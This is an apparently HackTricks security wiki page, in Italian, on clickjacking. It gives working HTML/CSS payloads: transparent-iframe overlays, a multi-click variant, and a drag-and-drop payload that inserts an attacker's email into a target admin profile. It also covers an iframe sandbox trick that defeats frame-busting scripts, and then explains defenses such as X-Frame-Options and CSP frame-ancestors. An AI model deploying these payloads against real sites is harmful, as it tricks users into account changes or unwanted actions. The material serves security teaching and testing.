Clickjacking

Reading time: 8 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

What is Clickjacking

In un attacco di clickjacking, un utente viene ingannato a cliccare su un elemento di una pagina web che è o invisibile o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.

Prepopulate forms trick

A volte è possibile compilare il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.

Populate form with Drag&Drop

Se hai bisogno che l'utente compili un modulo ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di Drag&Drop qualcosa che scriverà i tuoi dati controllati come in questo esempio.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload a più fasi

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se hai identificato un attacco XSS che richiede a un utente di cliccare su qualche elemento per attivare l'XSS e la pagina è vulnerabile al clickjacking, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.
Esempio:
Hai trovato un self XSS in alcuni dettagli privati dell'account (dettagli che solo tu puoi impostare e leggere). La pagina con il modulo per impostare questi dettagli è vulnerabile al Clickjacking e puoi precompilare il modulo con i parametri GET.
Un attaccante potrebbe preparare un attacco di Clickjacking a quella pagina precompilando il modulo con il payload XSS e ingannando l'utente a inviare il modulo. Quindi, quando il modulo viene inviato e i valori vengono modificati, l'utente eseguirà l'XSS.

DoubleClickjacking

Inizialmente spiegato in questo post, questa tecnica chiederebbe alla vittima di fare doppio clic su un pulsante di una pagina personalizzata posizionata in un luogo specifico, e utilizzare le differenze di tempo tra gli eventi mousedown e onclick per caricare la pagina della vittima durante il doppio clic in modo che la vittima clicchi effettivamente su un pulsante legittimo nella pagina della vittima.

Un esempio può essere visto in questo video: https://www.youtube.com/watch?v=4rGvRRMrD18

warning

Questa tecnica consente di ingannare l'utente a cliccare su 1 posto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l'attaccante deve trovare azioni sensibili che possono essere eseguite con un solo clic, come le richieste OAuth per accettare permessi.

Strategie per Mitigare il Clickjacking

Difese Lato Client

Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:

  • Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
  • Rendere tutti i frame visibili.
  • Prevenire clic su frame invisibili.
  • Rilevare e avvisare gli utenti su potenziali tentativi di Clickjacking.

Tuttavia, questi script di frame-busting possono essere elusi:

  • Impostazioni di Sicurezza dei Browser: Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto per JavaScript.
  • Attributo sandbox dell'iframe HTML5: Un attaccante può neutralizzare gli script di frame buster impostando l'attributo sandbox con valori allow-forms o allow-scripts senza allow-top-navigation. Questo impedisce all'iframe di verificare se è la finestra principale, e.g.,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

I valori allow-forms e allow-scripts abilitano azioni all'interno dell'iframe disabilitando la navigazione di livello superiore. Per garantire la funzionalità prevista del sito target, potrebbero essere necessarie autorizzazioni aggiuntive come allow-same-origin e allow-modals, a seconda del tipo di attacco. I messaggi della console del browser possono guidare su quali autorizzazioni consentire.

Difese lato server

X-Frame-Options

L'intestazione di risposta HTTP X-Frame-Options informa i browser sulla legittimità di rendering di una pagina in un <frame> o <iframe>, aiutando a prevenire il Clickjacking:

  • X-Frame-Options: deny - Nessun dominio può incapsulare il contenuto.
  • X-Frame-Options: sameorigin - Solo il sito attuale può incapsulare il contenuto.
  • X-Frame-Options: allow-from https://trusted.com - Solo l'uri specificato può incapsulare la pagina.
  • Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.

Direttiva frame-ancestors della Content Security Policy (CSP)

La direttiva frame-ancestors in CSP è il metodo consigliato per la protezione contro il Clickjacking:

  • frame-ancestors 'none' - Simile a X-Frame-Options: deny.
  • frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.

Ad esempio, la seguente CSP consente solo l'incapsulamento dallo stesso dominio:

Content-Security-Policy: frame-ancestors 'self';

Ulteriori dettagli ed esempi complessi possono essere trovati nella documentazione frame-ancestors CSP e nella documentazione frame-ancestors di Mozilla.

Content Security Policy (CSP) con child-src e frame-src

La Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando quali fonti il browser dovrebbe consentire di caricare contenuti.

Direttiva frame-src

  • Definisce fonti valide per i frame.
  • Più specifica della direttiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Questa politica consente i frame dalla stessa origine (self) e https://trusted-website.com.

Direttiva child-src

  • Introdotta nel livello 2 di CSP per impostare fonti valide per i web worker e i frame.
  • Funziona come un fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Questa politica consente frame e worker dalla stessa origine (self) e https://trusted-website.com.

Note sull'uso:

  • Deprecazione: child-src è in fase di eliminazione a favore di frame-src e worker-src.
  • Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
  • Definizione rigorosa delle fonti: Includere solo fonti affidabili nelle direttive per prevenire sfruttamenti.

Script JavaScript per rompere i frame

Sebbene non siano completamente infallibili, gli script di frame-busting basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incapsulata in un frame. Esempio:

javascript
if (top !== self) {
top.location = self.location
}

Impiego di Token Anti-CSRF

  • Validazione del Token: Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non tramite una pagina Clickjacked.

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks